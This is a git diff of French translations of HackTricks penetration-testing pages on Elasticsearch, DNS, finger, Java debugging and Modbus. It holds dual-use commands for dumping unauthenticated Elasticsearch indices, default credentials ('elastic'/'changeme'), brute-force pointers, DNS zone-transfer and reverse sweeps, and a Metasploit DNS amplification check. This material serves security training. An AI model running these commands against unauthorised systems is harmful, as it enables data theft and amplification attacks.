* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Informations de base
|
||||
|
||||
Elasticsearch est un moteur de recherche et d'analyse **distribué**, **open source** pour **tous types de données**. Il est connu pour sa **rapidité**, **scalabilité** et **API REST simples**. Basé sur Apache Lucene, il a été publié pour la première fois en 2010 par Elasticsearch N.V. (maintenant connu sous le nom d'Elastic). Elasticsearch est le composant central de l'Elastic Stack, une collection d'outils open source pour l'ingestion, l'enrichissement, le stockage, l'analyse et la visualisation des données. Cette pile, communément appelée ELK Stack, comprend également Logstash et Kibana, et dispose maintenant d'agents légers d'expédition de données appelés Beats.
|
||||
Elasticsearch est un moteur de recherche et d'analyse **distribué**, **open source** pour **tous types de données**. Il est connu pour sa **rapidité**, sa **scalabilité** et ses **API REST simples**. Basé sur Apache Lucene, il a été publié pour la première fois en 2010 par Elasticsearch N.V. (aujourd'hui connu sous le nom d'Elastic). Elasticsearch est le composant central de l'Elastic Stack, une collection d'outils open source pour l'ingestion, l'enrichissement, le stockage, l'analyse et la visualisation des données. Cette pile, communément appelée ELK Stack, comprend également Logstash et Kibana, et dispose maintenant d'agents légers d'expédition de données appelés Beats.
|
||||
|
||||
### Qu'est-ce qu'un index Elasticsearch ?
|
||||
|
||||
|
@ -33,7 +33,7 @@ Un **index** Elasticsearch est une collection de **documents liés** stockés so
|
|||
|
||||
Elasticsearch utilise une structure de données efficace appelée **index inversé** pour faciliter des recherches en texte intégral rapides. Cet index répertorie chaque mot unique dans les documents et identifie les documents dans lesquels chaque mot apparaît.
|
||||
|
||||
Au cours du processus d'indexation, Elasticsearch stocke les documents et construit l'index inversé, permettant des recherches presque en temps réel. L'**API d'index** est utilisée pour ajouter ou mettre à jour des documents JSON dans un index spécifique.
|
||||
Au cours du processus d'indexation, Elasticsearch stocke les documents et construit l'index inversé, permettant des recherches quasi en temps réel. L'**API d'index** est utilisée pour ajouter ou mettre à jour des documents JSON dans un index spécifique.
|
||||
|
||||
**Port par défaut** : 9200/tcp
|
||||
|
||||
|
@ -49,7 +49,7 @@ Si vous ne voyez pas cette réponse en accédant à `/`, consultez la section su
|
|||
|
||||
### Authentification
|
||||
|
||||
**Par défaut, Elasticsearch n'a pas d'authentification activée**, donc par défaut, vous pouvez accéder à tout à l'intérieur de la base de données sans utiliser de credentials.
|
||||
**Par défaut, Elasticsearch n'a pas d'authentification activée**, donc par défaut, vous pouvez accéder à tout ce qui se trouve dans la base de données sans utiliser de credentials.
|
||||
|
||||
Vous pouvez vérifier que l'authentification est désactivée avec une requête à :
|
||||
```bash
|
||||
|
@ -60,8 +60,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
|||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Cela signifie que l'authentification est configurée et que **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut BF HTTP basic auth peut être utilisé).\
|
||||
Voici une **liste des noms d'utilisateur par défaut** : _**elastic** (superutilisateur), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Les anciennes versions d'Elasticsearch ont le mot de passe par défaut **changeme** pour cet utilisateur.
|
||||
Cela signifie que l'authentification est configurée et que **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut bruteforcer l'authentification HTTP basique peut être utilisé).\
|
||||
Voici une **liste des noms d'utilisateur par défaut** : _**elastic** (superutilisateur), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_._ Les anciennes versions d'Elasticsearch ont le mot de passe par défaut **changeme** pour cet utilisateur.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
|
@ -121,7 +121,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
|
|||
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
|
||||
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
|
||||
```
|
||||
Pour obtenir **des informations sur le type de données enregistrées dans un index**, vous pouvez accéder à : `http://host:9200/<index>` dans cet exemple, `http://10.10.10.115:9200/bank`
|
||||
Pour obtenir **des informations sur le type de données enregistrées dans un index**, vous pouvez accéder à : `http://host:9200/<index>` par exemple dans ce cas `http://10.10.10.115:9200/bank`
|
||||
|
||||
![](<../.gitbook/assets/image (342).png>)
|
||||
|
||||
|
@ -135,7 +135,7 @@ _Prenez un moment pour comparer le contenu de chaque document (entrée) dans l'i
|
|||
|
||||
Donc, à ce stade, vous pouvez remarquer qu'il **y a un champ appelé "total" à l'intérieur de "hits"** qui indique que **1000 documents ont été trouvés** dans cet index mais seulement 10 ont été récupérés. Cela est dû au fait qu'il **y a par défaut une limite de 10 documents**.\
|
||||
Mais maintenant que vous savez que **cet index contient 1000 documents**, vous pouvez **les exporter tous** en indiquant le nombre d'entrées que vous souhaitez exporter dans le paramètre **`size`** : `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
_Remarque : Si vous indiquez un nombre plus grand, toutes les entrées seront de toute façon exportées, par exemple, vous pourriez indiquer `size=9999` et il serait étrange qu'il y ait plus d'entrées (mais vous devriez vérifier)._
|
||||
_Remarque : Si vous indiquez un nombre plus grand, toutes les entrées seront de toute façon exportées, par exemple vous pourriez indiquer `size=9999` et il serait étrange qu'il y ait plus d'entrées (mais vous devriez vérifier)._
|
||||
|
||||
### Dump all
|
||||
|
||||
|
@ -148,7 +148,7 @@ Si vous recherchez des informations, vous pouvez faire une **recherche brute sur
|
|||
|
||||
![](<../.gitbook/assets/image (335).png>)
|
||||
|
||||
Si vous souhaitez juste **rechercher dans un index**, vous pouvez simplement **le spécifier** dans le **chemin** : `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
Si vous souhaitez simplement **rechercher dans un index**, vous pouvez simplement **le spécifier** dans le **chemin** : `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
|
||||
_Remarque : le paramètre q utilisé pour rechercher du contenu **prend en charge les expressions régulières**_
|
||||
|
||||
|
@ -190,15 +190,15 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -115,7 +115,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Si vous parvenez à trouver des sous-domaines résolvant des adresses IP internes, vous devriez essayer d'effectuer un BF DNS inversé vers les NS du domaine demandant cette plage d'IP.
|
||||
Si vous parvenez à trouver des sous-domaines résolvant vers des adresses IP internes, vous devriez essayer d'effectuer un BF DNS inversé vers les NS du domaine demandant cette plage d'IP.
|
||||
{% endhint %}
|
||||
|
||||
Un autre outil pour cela : [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
@ -147,7 +147,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
Force brute en utilisant des requêtes "AAAA" pour rassembler les IPv6 des sous-domaines.
|
||||
Force brute en utilisant des requêtes "AAAA" pour rassembler l'IPv6 des sous-domaines.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
|
@ -157,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
|
|||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Si **la récursion DNS est activée**, un attaquant pourrait **usurper** l'**origine** dans le paquet UDP afin de faire en sorte que le **DNS envoie la réponse au serveur victime**. Un attaquant pourrait abuser des types d'enregistrements **ANY** ou **DNSSEC** car ils ont généralement des réponses plus volumineuses.\
|
||||
Si **la récursion DNS est activée**, un attaquant pourrait **usurper** l'**origine** dans le paquet UDP afin de faire en sorte que le **DNS envoie la réponse au serveur victime**. Un attaquant pourrait abuser des types d'enregistrements **ANY** ou **DNSSEC** car ils ont tendance à avoir des réponses plus volumineuses.\
|
||||
La façon de **vérifier** si un DNS prend en charge la **récursion** est de interroger un nom de domaine et de **vérifier** si le **drapeau "ra"** (_récursion disponible_) est dans la réponse :
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
|
@ -172,7 +172,7 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -303,8 +303,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -75,7 +75,7 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -89,7 +89,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -48,15 +48,15 @@ Pour des informations plus détaillées, consultez le post : [http://www.ouah.or
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -6,18 +6,18 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Supportez HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -80,7 +80,7 @@ J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -94,7 +94,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -24,7 +24,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
# Informations de base
|
||||
|
||||
En 1979, le **protocole Modbus** a été développé par Modicon, servant de structure de messagerie. Son utilisation principale consiste à faciliter la communication entre des dispositifs intelligents, fonctionnant selon un modèle maître-esclave/client-serveur. Ce protocole joue un rôle crucial dans la possibilité pour les dispositifs d'échanger des données de manière efficace.
|
||||
En 1979, le **protocole Modbus** a été développé par Modicon, servant de structure de messagerie. Son utilisation principale consiste à faciliter la communication entre des dispositifs intelligents, fonctionnant selon un modèle maître-esclave/client-serveur. Ce protocole joue un rôle crucial dans l'échange efficace de données entre les dispositifs.
|
||||
|
||||
**Port par défaut :** 502
|
||||
```
|
||||
|
@ -45,7 +45,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
